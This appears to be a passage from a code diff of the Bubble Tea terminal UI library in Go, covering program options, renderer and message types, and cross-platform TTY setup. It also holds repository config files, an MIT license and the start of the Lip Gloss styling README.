func (n nilRenderer) setSyncdUpdates(bool) {}
// setWidthMethod implements the Renderer interface.
func (n nilRenderer) setWidthMethod(ansi.Method) {}
// onMouse implements the Renderer interface.
func (n nilRenderer) onMouse(MouseMsg) Cmd {
return nil
}
+168
View File
@@ -0,0 +1,168 @@
package tea
import (
"context"
"io"
"sync/atomic"
"github.com/charmbracelet/colorprofile"
)
// ProgramOption is used to set options when initializing a Program. Program can
// accept a variable number of options.
//
// Example usage:
//
// p := NewProgram(model, WithInput(someInput), WithOutput(someOutput))
type ProgramOption func(*Program)
// WithContext lets you specify a context in which to run the Program. This is
// useful if you want to cancel the execution from outside. When a Program gets
// cancelled it will exit with an error ErrProgramKilled.
func WithContext(ctx context.Context) ProgramOption {
return func(p *Program) {
p.externalCtx = ctx
}
}
// WithOutput sets the output which, by default, is stdout. In most cases you
// won't need to use this.
func WithOutput(output io.Writer) ProgramOption {
return func(p *Program) {
p.output = output
}
}
// WithInput sets the input which, by default, is stdin. In most cases you
// won't need to use this. To disable input entirely pass nil.
//
// p := NewProgram(model, WithInput(nil))
func WithInput(input io.Reader) ProgramOption {
return func(p *Program) {
p.input = input
p.disableInput = input == nil
}
}
// WithEnvironment sets the environment variables that the program will use.
// This useful when the program is running in a remote session (e.g. SSH) and
// you want to pass the environment variables from the remote session to the
// program.
//
// Example:
//
// var sess ssh.Session // ssh.Session is a type from the github.com/charmbracelet/ssh package
// pty, _, _ := sess.Pty()
// environ := append(sess.Environ(), "TERM="+pty.Term)
// p := tea.NewProgram(model, tea.WithEnvironment(environ)
func WithEnvironment(env []string) ProgramOption {
return func(p *Program) {
p.environ = env
}
}
// WithoutSignalHandler disables the signal handler that Bubble Tea sets up for
// Programs. This is useful if you want to handle signals yourself.
func WithoutSignalHandler() ProgramOption {
return func(p *Program) {
p.disableSignalHandler = true
}
}
// WithoutCatchPanics disables the panic catching that Bubble Tea does by
// default. If panic catching is disabled the terminal will be in a fairly
// unusable state after a panic because Bubble Tea will not perform its usual
// cleanup on exit.
func WithoutCatchPanics() ProgramOption {
return func(p *Program) {
p.disableCatchPanics = true
}
}
// WithoutSignals will ignore OS signals.
// This is mainly useful for testing.
func WithoutSignals() ProgramOption {
return func(p *Program) {
atomic.StoreUint32(&p.ignoreSignals, 1)
}
}
// WithoutRenderer disables the renderer. When this is set output and log
// statements will be plainly sent to stdout (or another output if one is set)
// without any rendering and redrawing logic. In other words, printing and
// logging will behave the same way it would in a non-TUI commandline tool.
// This can be useful if you want to use the Bubble Tea framework for a non-TUI
// application, or to provide an additional non-TUI mode to your Bubble Tea
// programs. For example, your program could behave like a daemon if output is
// not a TTY.
func WithoutRenderer() ProgramOption {
return func(p *Program) {
p.disableRenderer = true
}
}
// WithFilter supplies an event filter that will be invoked before Bubble Tea
// processes a tea.Msg. The event filter can return any tea.Msg which will then
// get handled by Bubble Tea instead of the original event. If the event filter
// returns nil, the event will be ignored and Bubble Tea will not process it.
//
// As an example, this could be used to prevent a program from shutting down if
// there are unsaved changes.
//
// Example:
//
// func filter(m tea.Model, msg tea.Msg) tea.Msg {
// if _, ok := msg.(tea.QuitMsg); !ok {
// return msg
// }
//
// model := m.(myModel)
// if model.hasChanges {
// return nil
// }
//
// return msg
// }
//
// p := tea.NewProgram(Model{}, tea.WithFilter(filter));
//
// if _,err := p.Run(); err != nil {
// fmt.Println("Error running program:", err)
// os.Exit(1)
// }
func WithFilter(filter func(Model, Msg) Msg) ProgramOption {
return func(p *Program) {
p.filter = filter
}
}
// WithFPS sets a custom maximum FPS at which the renderer should run. If
// less than 1, the default value of 60 will be used. If over 120, the FPS
// will be capped at 120.
func WithFPS(fps int) ProgramOption {
return func(p *Program) {
p.fps = fps
}
}
// WithColorProfile sets the color profile that the program will use. This is
// useful when you want to force a specific color profile. By default, Bubble
// Tea will try to detect the terminal's color profile from environment
// variables and terminfo capabilities. Use [tea.WithEnvironment] to set custom
// environment variables.
func WithColorProfile(profile colorprofile.Profile) ProgramOption {
return func(p *Program) {
p.profile = &profile
}
}
// WithWindowSize sets the initial size of the terminal window. This is useful
// when you need to set the initial size of the terminal window, for example
// during testing or when you want to run your program in a non-interactive
// environment.
func WithWindowSize(width, height int) ProgramOption {
return func(p *Program) {
p.width = width
p.height = height
}
}
+20
View File
@@ -0,0 +1,20 @@
package tea
// PasteMsg is an message that is emitted when a terminal receives pasted text
// using bracketed-paste.
type PasteMsg struct {
Content string
}
// String returns the pasted content as a string.
func (p PasteMsg) String() string {
return p.Content
}
// PasteStartMsg is an message that is emitted when the terminal starts the
// bracketed-paste text.
type PasteStartMsg struct{}
// PasteEndMsg is an message that is emitted when the terminal ends the
// bracketed-paste text.
type PasteEndMsg struct{}
+15
View File
@@ -0,0 +1,15 @@
package tea
import "github.com/charmbracelet/colorprofile"
// ColorProfileMsg is a message that describes the terminal's color profile.
// This message is send to the program's update function when the program is
// started.
//
// To upgrade the terminal color profile, use the `tea.RequestCapability`
// command to request the `RGB` and `Tc` terminfo capabilities. Bubble Tea will
// then cache the terminal's color profile and send a `ColorProfileMsg` to the
// program's update function.
type ColorProfileMsg struct {
colorprofile.Profile
}
+37
View File
@@ -0,0 +1,37 @@
package tea
// RawMsg is a message that contains a string to be printed to the terminal
// without any intermediate processing.
type RawMsg struct {
Msg any
}
// Raw is a command that prints the given string to the terminal without any
// formatting.
//
// This is intended for advanced use cases where you need to query the terminal
// or send escape sequences directly. Don't use this unless you know what
// you're doing :)
//
// Example:
//
// func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
// switch msg := msg.(type) {
// case input.PrimaryDeviceAttributesEvent:
// for _, attr := range msg {
// if attr == 4 {
// // We have Sixel graphics support!
// break
// }
// }
// }
//
// // Request the terminal primary device attributes to detect Sixel graphics
// // support.
// return m, tea.Raw(ansi.RequestPrimaryDeviceAttributes)
// }
func Raw(r any) Cmd {
return func() Msg {
return RawMsg{r}
}
}
+104
View File
@@ -0,0 +1,104 @@
package tea
import (
"fmt"
"github.com/charmbracelet/colorprofile"
"github.com/charmbracelet/x/ansi"
)
const (
// defaultFramerate specifies the maximum interval at which we should
// update the view.
defaultFPS = 60
maxFPS = 120
)
// renderer is the interface for Bubble Tea renderers.
type renderer interface {
// start starts the renderer.
start()
// close closes the renderer and flushes any remaining data.
close() error
// render renders a frame to the output.
render(View)
// flush flushes the renderer's buffer to the output.
flush(closing bool) error
// reset resets the renderer's state to its initial state.
reset()
// insertAbove inserts unmanaged lines above the renderer.
insertAbove(string) error
// setSyncdUpdates sets whether to use synchronized updates.
setSyncdUpdates(bool)
// setWidthMethod sets the method for calculating the width of the terminal.
setWidthMethod(ansi.Method)
// resize notify the renderer of a terminal resize.
resize(int, int)
// setColorProfile sets the color profile.
setColorProfile(colorprofile.Profile)
// clearScreen clears the screen.
clearScreen()
// writeString writes a string to the renderer's output.
writeString(string) (int, error)
// onMouse handles a mouse event.
onMouse(MouseMsg) Cmd
}
type printLineMessage struct {
messageBody string
}
// Println prints above the Program. This output is unmanaged by the program and
// will persist across renders by the Program.
//
// Unlike fmt.Println (but similar to log.Println) the message will be print on
// its own line.
//
// If the altscreen is active no output will be printed.
func Println(args ...any) Cmd {
return func() Msg {
return printLineMessage{
messageBody: fmt.Sprint(args...),
}
}
}
// Printf prints above the Program. It takes a format template followed by
// values similar to fmt.Printf. This output is unmanaged by the program and
// will persist across renders by the Program.
//
// Unlike fmt.Printf (but similar to log.Printf) the message will be print on
// its own line.
//
// If the altscreen is active no output will be printed.
func Printf(template string, args ...any) Cmd {
return func() Msg {
return printLineMessage{
messageBody: fmt.Sprintf(template, args...),
}
}
}
// encodeCursorStyle returns the integer value for the given cursor style and
// blink state.
func encodeCursorStyle(style CursorShape, blink bool) int {
// We're using the ANSI escape sequence values for cursor styles.
// We need to map both [style] and [steady] to the correct value.
style = (style * 2) + 1 //nolint:mnd
if !blink {
style++
}
return int(style)
}
+68
View File
@@ -0,0 +1,68 @@
package tea
import "github.com/charmbracelet/x/ansi"
// WindowSizeMsg is used to report the terminal size. It's sent to Update once
// initially and then on every terminal resize. Note that Windows does not
// have support for reporting when resizes occur as it does not support the
// SIGWINCH signal.
type WindowSizeMsg struct {
Width int
Height int
}
// ClearScreen is a special command that tells the program to clear the screen
// before the next update. This can be used to move the cursor to the top left
// of the screen and clear visual clutter when the alt screen is not in use.
//
// Note that it should never be necessary to call ClearScreen() for regular
// redraws.
func ClearScreen() Msg {
return clearScreenMsg{}
}
// clearScreenMsg is an internal message that signals to clear the screen.
// You can send a clearScreenMsg with ClearScreen.
type clearScreenMsg struct{}
// ModeReportMsg is a message that represents a mode report event (DECRPM).
//
// This is sent by the terminal in response to a request for a terminal mode
// report (DECRQM). It indicates the current setting of a specific terminal
// mode like cursor visibility, mouse tracking, etc.
//
// Example:
//
// ```go
// func (m model) Init() tea.Cmd {
// // Does my terminal support reporting focus events?
// return tea.Raw(ansi.RequestModeFocusEvent)
// }
//
// func (m model) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
// switch msg := msg.(type) {
// case tea.ModeReportMsg:
// if msg.Mode == ansi.ModeFocusEvent && !msg.Value.IsNotRecognized() {
// // Terminal supports focus events
// m.supportsFocus = true
// }
// }
// return m, nil
// }
//
// func (m model) View() tea.View {
// var view tea.View
// view.ReportFocus = m.supportsFocus
// view.SetContent(fmt.Sprintf("Terminal supports focus events: %v", m.supportsFocus))
// return view
// }
// ```
//
// See: https://vt100.net/docs/vt510-rm/DECRPM.html
type ModeReportMsg struct {
// Mode is the mode number.
Mode ansi.Mode
// Value is the mode value.
Value ansi.ModeSetting
}
+33
View File
@@ -0,0 +1,33 @@
//go:build darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || aix || zos
// +build darwin dragonfly freebsd linux netbsd openbsd solaris aix zos
package tea
import (
"os"
"os/signal"
"syscall"
)
// listenForResize sends messages (or errors) when the terminal resizes.
// Argument output should be the file descriptor for the terminal; usually
// os.Stdout.
func (p *Program) listenForResize(done chan struct{}) {
sig := make(chan os.Signal, 1)
signal.Notify(sig, syscall.SIGWINCH)
defer func() {
signal.Stop(sig)
close(done)
}()
for {
select {
case <-p.ctx.Done():
return
case <-sig:
}
p.checkResize()
}
}
+10
View File
@@ -0,0 +1,10 @@
//go:build windows
// +build windows
package tea
// listenForResize is not available on windows because windows does not
// implement syscall.SIGWINCH.
func (p *Program) listenForResize(done chan struct{}) {
close(done)
}
File diff suppressed because it is too large. Load diff
+48
View File
@@ -0,0 +1,48 @@
package tea
// requestCapabilityMsg is an internal message that requests the terminal to
// send its Termcap/Terminfo response.
type requestCapabilityMsg string
// RequestCapability is a command that requests the terminal to send its
// Termcap/Terminfo response for the given capability.
//
// Bubble Tea recognizes the following capabilities and will use them to
// upgrade the program's color profile:
// - "RGB" Xterm direct color
// - "Tc" True color support
//
// Note: that some terminal's like Apple's Terminal.app do not support this and
// will send the wrong response to the terminal breaking the program's output.
//
// When the Bubble Tea advertises a non-TrueColor profile, you can use this
// command to query the terminal for its color capabilities. Example:
//
// switch msg := msg.(type) {
// case tea.ColorProfileMsg:
// if msg.Profile != colorprofile.TrueColor {
// return m, tea.Batch(
// tea.RequestCapability("RGB"),
// tea.RequestCapability("Tc"),
// )
// }
// }
func RequestCapability(s string) Cmd {
return func() Msg {
return requestCapabilityMsg(s)
}
}
// CapabilityMsg represents a Termcap/Terminfo response event. Termcap
// responses are generated by the terminal in response to RequestTermcap
// (XTGETTCAP) requests.
//
// See: https://invisible-island.net/xterm/ctlseqs/ctlseqs.html#h3-Operating-System-Commands
type CapabilityMsg struct {
Content string
}
// String returns the capability content as a string.
func (c CapabilityMsg) String() string {
return c.Content
}
+13
View File
@@ -0,0 +1,13 @@
//go:build dragonfly || freebsd
// +build dragonfly freebsd
package tea
import (
"github.com/charmbracelet/x/term"
"golang.org/x/sys/unix"
)
func (p *Program) checkOptimizedMovements(s *term.State) {
p.useHardTabs = s.Oflag&unix.TABDLY == unix.TAB0
}
+8
View File
@@ -0,0 +1,8 @@
//go:build !windows && !darwin && !dragonfly && !freebsd && !linux && !solaris && !aix
// +build !windows,!darwin,!dragonfly,!freebsd,!linux,!solaris,!aix
package tea
import "github.com/charmbracelet/x/term"
func (*Program) checkOptimizedMovements(*term.State) {}
+14
View File
@@ -0,0 +1,14 @@
//go:build darwin || linux || solaris || aix
// +build darwin linux solaris aix
package tea
import (
"github.com/charmbracelet/x/term"
"golang.org/x/sys/unix"
)
func (p *Program) checkOptimizedMovements(s *term.State) {
p.useHardTabs = s.Oflag&unix.TABDLY == unix.TAB0
p.useBackspace = s.Lflag&unix.BSDLY == unix.BS0
}
+11
View File
@@ -0,0 +1,11 @@
//go:build windows
// +build windows
package tea
import "github.com/charmbracelet/x/term"
func (p *Program) checkOptimizedMovements(*term.State) {
p.useHardTabs = true
p.useBackspace = true
}
+136
View File
@@ -0,0 +1,136 @@
package tea
import (
"fmt"
"os"
"time"
uv "github.com/charmbracelet/ultraviolet"
"github.com/charmbracelet/x/term"
)
func (p *Program) suspend() {
if err := p.releaseTerminal(true); err != nil {
// If we can't release input, abort.
return
}
suspendProcess()
_ = p.RestoreTerminal()
go p.Send(ResumeMsg{})
}
func (p *Program) initTerminal() error {
if p.disableRenderer {
return nil
}
return p.initInput()
}
// restoreTerminalState restores the terminal to the state prior to running the
// Bubble Tea program.
func (p *Program) restoreTerminalState() error {
// Flush queued commands.
_ = p.flush()
return p.restoreInput()
}
// restoreInput restores the tty input to its original state.
func (p *Program) restoreInput() error {
if p.ttyInput != nil && p.previousTtyInputState != nil {
if err := term.Restore(p.ttyInput.Fd(), p.previousTtyInputState); err != nil {
return fmt.Errorf("bubbletea: error restoring console: %w", err)
}
}
if p.ttyOutput != nil && p.previousOutputState != nil {
if err := term.Restore(p.ttyOutput.Fd(), p.previousOutputState); err != nil {
return fmt.Errorf("bubbletea: error restoring console: %w", err)
}
}
return nil
}
// initInputReader (re)commences reading inputs.
func (p *Program) initInputReader(cancel bool) error {
if cancel && p.cancelReader != nil {
p.cancelReader.Cancel()
p.waitForReadLoop()
}
term := p.environ.Getenv("TERM")
// Initialize the input reader.
// This need to be done after the terminal has been initialized and set to
// raw mode.
var err error
p.cancelReader, err = uv.NewCancelReader(p.input)
if err != nil {
return fmt.Errorf("bubbletea: could not create cancelable reader: %w", err)
}
drv := uv.NewTerminalReader(p.cancelReader, term)
drv.SetLogger(p.logger)
p.inputScanner = drv
p.readLoopDone = make(chan struct{})
go p.readLoop()
return nil
}
func (p *Program) readLoop() {
defer close(p.readLoopDone)
if err := p.inputScanner.StreamEvents(p.ctx, p.msgs); err != nil {
select {
case <-p.ctx.Done():
return
case p.errs <- err:
}
}
}
// waitForReadLoop waits for the cancelReader to finish its read loop.
func (p *Program) waitForReadLoop() {
select {
case <-p.readLoopDone:
case <-time.After(500 * time.Millisecond): //nolint:mnd
// The read loop hangs, which means the input
// cancelReader's cancel function has returned true even
// though it was not able to cancel the read.
}
}
// checkResize detects the current size of the output and informs the program
// via a WindowSizeMsg.
func (p *Program) checkResize() {
if p.ttyOutput == nil {
// can't query window size
return
}
w, h, err := term.GetSize(p.ttyOutput.Fd())
if err != nil {
select {
case <-p.ctx.Done():
case p.errs <- err:
}
return
}
p.width, p.height = w, h
p.Send(WindowSizeMsg{Width: w, Height: h})
}
// OpenTTY opens the running terminal's TTY for reading and writing.
func OpenTTY() (*os.File, *os.File, error) {
in, out, err := uv.OpenTTY()
if err != nil {
return nil, nil, fmt.Errorf("bubbletea: could not open TTY: %w", err)
}
return in, out, nil
}
+46
View File
@@ -0,0 +1,46 @@
//go:build darwin || dragonfly || freebsd || linux || netbsd || openbsd || solaris || aix || zos
// +build darwin dragonfly freebsd linux netbsd openbsd solaris aix zos
package tea
import (
"fmt"
"os"
"os/signal"
"syscall"
"github.com/charmbracelet/x/term"
)
func (p *Program) initInput() (err error) {
// Check if input is a terminal
if f, ok := p.input.(term.File); ok && term.IsTerminal(f.Fd()) {
p.ttyInput = f
p.previousTtyInputState, err = term.MakeRaw(p.ttyInput.Fd())
if err != nil {
return fmt.Errorf("error entering raw mode: %w", err)
}
// OPTIM: We can use hard tabs and backspaces to optimize cursor
// movements. This is based on termios settings support and whether
// they exist and enabled.
p.checkOptimizedMovements(p.previousTtyInputState)
}
if f, ok := p.output.(term.File); ok && term.IsTerminal(f.Fd()) {
p.ttyOutput = f
}
return nil
}
const suspendSupported = true
// Send SIGTSTP to the entire process group.
func suspendProcess() {
c := make(chan os.Signal, 1)
signal.Notify(c, syscall.SIGCONT)
_ = syscall.Kill(0, syscall.SIGTSTP)
// blocks until a CONT happens...
<-c
}
+64
View File
@@ -0,0 +1,64 @@
//go:build windows
// +build windows
package tea
import (
"fmt"
"github.com/charmbracelet/x/term"
"golang.org/x/sys/windows"
)
func (p *Program) initInput() (err error) {
// Save stdin state and enable VT input
// We also need to enable VT
// input here.
if f, ok := p.input.(term.File); ok && term.IsTerminal(f.Fd()) {
p.ttyInput = f
p.previousTtyInputState, err = term.MakeRaw(p.ttyInput.Fd())
if err != nil {
return fmt.Errorf("error making terminal raw: %w", err)
}
// Enable VT input
var mode uint32
if err := windows.GetConsoleMode(windows.Handle(p.ttyInput.Fd()), &mode); err != nil {
return fmt.Errorf("error getting console mode: %w", err)
}
if err := windows.SetConsoleMode(windows.Handle(p.ttyInput.Fd()), mode|windows.ENABLE_VIRTUAL_TERMINAL_INPUT); err != nil {
return fmt.Errorf("error setting console mode: %w", err)
}
}
// Save output screen buffer state and enable VT processing.
if f, ok := p.output.(term.File); ok && term.IsTerminal(f.Fd()) {
p.ttyOutput = f
p.previousOutputState, err = term.GetState(f.Fd())
if err != nil {
return fmt.Errorf("error getting terminal state: %w", err)
}
var mode uint32
if err := windows.GetConsoleMode(windows.Handle(p.ttyOutput.Fd()), &mode); err != nil {
return fmt.Errorf("error getting console mode: %w", err)
}
if err := windows.SetConsoleMode(windows.Handle(p.ttyOutput.Fd()),
mode|windows.ENABLE_VIRTUAL_TERMINAL_PROCESSING|
windows.DISABLE_NEWLINE_AUTO_RETURN); err != nil {
return fmt.Errorf("error setting console mode: %w", err)
}
//nolint:godox
// TODO: check if we can optimize cursor movements on Windows.
p.checkOptimizedMovements(p.previousOutputState)
}
return //nolint:nakedret
}
const suspendSupported = false
func suspendProcess() {}
+22
View File
@@ -0,0 +1,22 @@
package tea
// TerminalVersionMsg is a message that represents the terminal version.
type TerminalVersionMsg struct {
Name string
}
// String returns the terminal name as a string.
func (t TerminalVersionMsg) String() string {
return t.Name
}
// terminalVersion is an internal message that queries the terminal for its
// version using XTVERSION.
type terminalVersion struct{}
// RequestTerminalVersion is a command that queries the terminal for its
// version using XTVERSION. Note that some terminals may not support this
// command.
func RequestTerminalVersion() Msg {
return terminalVersion{}
}
+18
View File
@@ -0,0 +1,18 @@
# https://editorconfig.org/
root = true
[*]
charset = utf-8
insert_final_newline = true
trim_trailing_whitespace = true
indent_style = space
indent_size = 2
[*.go]
indent_style = tab
indent_size = 8
[*.golden]
insert_final_newline = false
trim_trailing_whitespace = false
@@ -0,0 +1 @@
*.golden linguist-generated=true -text
+3
View File
@@ -0,0 +1,3 @@
ssh_example_ed25519*
/tmp
**/.crush/**
+51
View File
@@ -0,0 +1,51 @@
version: "2"
run:
tests: false
linters:
enable:
- bodyclose
- exhaustive
- goconst
- godot
- gomoddirectives
- goprintffuncname
- gosec
- misspell
- nakedret
- nestif
- nilerr
- noctx
- nolintlint
- prealloc
- revive
- rowserrcheck
- sqlclosecheck
- tparallel
- unconvert
- unparam
- whitespace
- wrapcheck
exclusions:
rules:
- text: '(slog|log)\.\w+'
linters:
- noctx
- linters:
- revive
text: "var-naming"
generated: lax
presets:
- common-false-positives
settings:
exhaustive:
default-signifies-exhaustive: true
issues:
max-issues-per-linter: 0
max-same-issues: 0
formatters:
enable:
- gofumpt
- goimports
exclusions:
generated: lax
+5
View File
@@ -0,0 +1,5 @@
includes:
- from_url:
url: charmbracelet/meta/main/goreleaser-lib.yaml
# yaml-language-server: $schema=https://goreleaser.com/static/schema-pro.json
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2021-2026 Charmbracelet, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+996
View File
@@ -0,0 +1,996 @@
# Lip Gloss
<p >
<img src="https://github.com/user-attachments/assets/d13bbe1a-d2b2-4d18-9302-419a0bc3f579" width="350"><br>
<a href="https://github.com/charmbracelet/lipgloss/releases"><img src="https://img.shields.io/github/release/charmbracelet/lipgloss.svg" alt="Latest Release"></a>
<a href="https://pkg.go.dev/charm.land/lipgloss/v2?tab=doc"><img src="https://godoc.org/github.com/golang/gddo?status.svg" alt="GoDoc"></a>
<a href="https://github.com/charmbracelet/lipgloss/actions"><img src="https://github.com/charmbracelet/lipgloss/workflows/build/badge.svg" alt="Build Status"></a>
</p>
<p>Style definitions for nice terminal layouts. Built with TUIs in mind.</p>
![Lip Gloss example](https://github.com/user-attachments/assets/92560e60-d70e-4ce0-b39e-a60bb933356b)
Lip Gloss takes an expressive, declarative approach to terminal rendering.
Users familiar with CSS will feel at home with Lip Gloss.
```go
import "charm.land/lipgloss/v2"
var style = lipgloss.NewStyle().
Bold(true).
Foreground(lipgloss.Color("#FAFAFA")).
Background(lipgloss.Color("#7D56F4")).
PaddingTop(2).
PaddingLeft(4).
Width(22)
lipgloss.Println(style.Render("Hello, kitty"))
```
## Installation
```bash
go get charm.land/lipgloss/v2
```
> [!TIP]
>
> Upgrading from v1? Check out the [upgrade guide](./UPGRADE_GUIDE_V2.md), or
> point your LLM at it and let it go to town.
## Colors
Lip Gloss supports the following color profiles:
### ANSI 16 colors (4-bit)
```go
lipgloss.Color("5") // magenta
lipgloss.Color("9") // red
lipgloss.Color("12") // light blue
```
### ANSI 256 Colors (8-bit)
```go
lipgloss.Color("86") // aqua
lipgloss.Color("201") // hot pink
lipgloss.Color("202") // orange
```
### True Color (16,777,216 colors; 24-bit)
```go
lipgloss.Color("#0000FF") // good ol' 100% blue
lipgloss.Color("#04B575") // a green
lipgloss.Color("#3C3C3C") // a dark gray
```
...as well as a 1-bit ASCII profile, which is black and white only.
There are also named constants for the 16 standard ANSI colors:
```go
lipgloss.Black
lipgloss.Red
lipgloss.Green
lipgloss.Yellow
lipgloss.Blue
lipgloss.Magenta
lipgloss.Cyan
lipgloss.White
lipgloss.BrightBlack
lipgloss.BrightRed
lipgloss.BrightGreen
lipgloss.BrightYellow
lipgloss.BrightBlue
lipgloss.BrightMagenta
lipgloss.BrightCyan
lipgloss.BrightWhite
```
### Automatically Downsampling Colors
Some users don't have Truecolor terminals. Other times, output might not
support color at all (for example, in logs). Lip Gloss was designed to handle
this gracefully by automatically downsampling colors to the best available
profile.
If you're using Lip Gloss with Bubble Tea, there’s nothing to do. If you're
using Lip Gloss standalone, just use `lipgloss.Println` or `lipgloss.Sprint`
(and their variants).
For more, see [advanced color usage](#advanced-color-usage).
### Color Utilities
Lip Gloss ships with a handful of handy tools for working with colors:
```go
c := lipgloss.Color("#EB4268") // Sriracha sauce color
dark := lipgloss.Darken(c, 0.5) // dark Sriracha sauce
light := lipgloss.Lighten(c, 0.35) // light Sriracha sauce
green := lipgloss.Complementary(c) // greenish Sriracha sauce
withAlpha := lipgloss.Alpha(c, 0.2) // watered down Sriracha sauce
```
### Advanced Color Tooling
Lip Gloss also supports color blending, automatically choosing light or dark
variants of colors at runtime, and a lot more. For details, see [Advanced Color
Usage](#advanced-color-usage) and [the docs][docs].
## Inline Formatting
Lip Gloss supports the usual ANSI text formatting options:
```go
var style = lipgloss.NewStyle().
Bold(true).
Italic(true).
Faint(true).
Blink(true).
Strikethrough(true).
Underline(true).
Reverse(true)
```
### Underline Styles
Beyond simple on/off, underlines support multiple styles and custom colors:
```go
s := lipgloss.NewStyle().
UnderlineStyle(lipgloss.UnderlineCurly).
UnderlineColor(lipgloss.Color("#FF0000"))
```
Available styles: `UnderlineNone`, `UnderlineSingle`, `UnderlineDouble`,
`UnderlineCurly`, `UnderlineDotted`, `UnderlineDashed`.
### Hyperlinks
Styles can render clickable hyperlinks in supporting terminals:
```go
s := lipgloss.NewStyle().
Foreground(lipgloss.Color("#7B2FBE")).
Hyperlink("https://charm.land")
lipgloss.Println(s.Render("Visit Charm"))
```
In unsupported terminals this will degrade gracefully and hyperlinks will
simply not render.
## Block-Level Formatting
Lip Gloss also supports rules for block-level formatting:
```go
// Padding
var style = lipgloss.NewStyle().
PaddingTop(2).
PaddingRight(4).
PaddingBottom(2).
PaddingLeft(4)
// Margins
var style = lipgloss.NewStyle().
MarginTop(2).
MarginRight(4).
MarginBottom(2).
MarginLeft(4)
```
There is also shorthand syntax for margins and padding, which follows the same
format as CSS:
```go
// 2 cells on all sides
lipgloss.NewStyle().Padding(2)
// 2 cells on the top and bottom, 4 cells on the left and right
lipgloss.NewStyle().Margin(2, 4)
// 1 cell on the top, 4 cells on the sides, 2 cells on the bottom
lipgloss.NewStyle().Padding(1, 4, 2)
// Clockwise, starting from the top: 2 cells on the top, 4 on the right, 3 on
// the bottom, and 1 on the left
lipgloss.NewStyle().Margin(2, 4, 3, 1)
```
You can also customize the characters used for padding and margin fill:
```go
s := lipgloss.NewStyle().
Padding(1, 2).
PaddingChar('·').
Margin(1, 2).
MarginChar('░')
```
## Aligning Text
You can align paragraphs of text to the left, right, or center.
```go
var style = lipgloss.NewStyle().
Width(24).
Align(lipgloss.Left). // align it left
Align(lipgloss.Right). // no wait, align it right
Align(lipgloss.Center) // just kidding, align it in the center
```
## Width and Height
Setting a minimum width and height is simple and straightforward.
```go
var style = lipgloss.NewStyle().
SetString("What’s for lunch?").
Width(24).
Height(32).
Foreground(lipgloss.Color("63"))
```
## Borders
Adding borders is easy:
```go
// Add a purple, rectangular border
var style = lipgloss.NewStyle().
BorderStyle(lipgloss.NormalBorder()).
BorderForeground(lipgloss.Color("63"))
// Set a rounded, yellow-on-purple border to the top and left
var anotherStyle = lipgloss.NewStyle().
BorderStyle(lipgloss.RoundedBorder()).
BorderForeground(lipgloss.Color("228")).
BorderBackground(lipgloss.Color("63")).
BorderTop(true).
BorderLeft(true)
// Make your own border
var myCuteBorder = lipgloss.Border{
Top: "._.:*:",
Bottom: "._.:*:",
Left: "|*",
Right: "|*",
TopLeft: "*",
TopRight: "*",
BottomLeft: "*",
BottomRight: "*",
}
```
There are also shorthand functions for defining borders, which follow a similar
pattern to the margin and padding shorthand functions.
```go
// Add a thick border to the top and bottom
lipgloss.NewStyle().
Border(lipgloss.ThickBorder(), true, false)
// Add a double border to the top and left sides. Rules are set clockwise
// from top.
lipgloss.NewStyle().
Border(lipgloss.DoubleBorder(), true, false, false, true)
```
You can also pass multiple colors to a border for a gradient effect:
```go
s := lipgloss.NewStyle().
Border(lipgloss.RoundedBorder()).
BorderForegroundBlend(lipgloss.Color("#FF0000"), lipgloss.Color("#0000FF"))
```
For more on borders see [the docs](https://pkg.go.dev/charm.land/lipgloss/v2#Border).
## Copying Styles
Just use assignment:
```go
style := lipgloss.NewStyle().Foreground(lipgloss.Color("219"))
copiedStyle := style // this is a true copy
wildStyle := style.Blink(true) // this is also true copy, with blink added
```
Since `Style` is a pure value type, assigning a style to another effectively
creates a new copy of the style without mutating the original.
## Inheritance
Styles can inherit rules from other styles. When inheriting, only unset rules
on the receiver are inherited.
```go
var styleA = lipgloss.NewStyle().
Foreground(lipgloss.Color("229")).
Background(lipgloss.Color("63"))
// Only the background color will be inherited here, because the foreground
// color will have been already set:
var styleB = lipgloss.NewStyle().
Foreground(lipgloss.Color("201")).
Inherit(styleA)
```
## Unsetting Rules
All rules can be unset:
```go
var style = lipgloss.NewStyle().
Bold(true). // make it bold
UnsetBold(). // jk don't make it bold
Background(lipgloss.Color("227")). // yellow background
UnsetBackground() // never mind
```
When a rule is unset, it won’t be inherited or copied.
## Enforcing Rules
Sometimes, such as when developing a component, you want to make sure style
definitions respect their intended purpose in the UI. This is where `Inline`
and `MaxWidth`, and `MaxHeight` come in:
```go
// Force rendering onto a single line, ignoring margins, padding, and borders.
someStyle.Inline(true).Render("yadda yadda")
// Also limit rendering to five cells
someStyle.Inline(true).MaxWidth(5).Render("yadda yadda")
// Limit rendering to a 5x5 cell block
someStyle.MaxWidth(5).MaxHeight(5).Render("yadda yadda")
```
## Tabs
The tab character (`\t`) is rendered differently in different terminals (often
as 8 spaces, sometimes 4). Because of this inconsistency, Lip Gloss converts
tabs to 4 spaces at render time. This behavior can be changed on a per-style
basis, however:
```go
style := lipgloss.NewStyle() // tabs will render as 4 spaces, the default
style = style.TabWidth(2) // render tabs as 2 spaces
style = style.TabWidth(0) // remove tabs entirely
style = style.TabWidth(lipgloss.NoTabConversion) // leave tabs intact
```
## Wrapping
The `Wrap` function wraps text while preserving ANSI styles and hyperlinks
across line boundaries:
```go
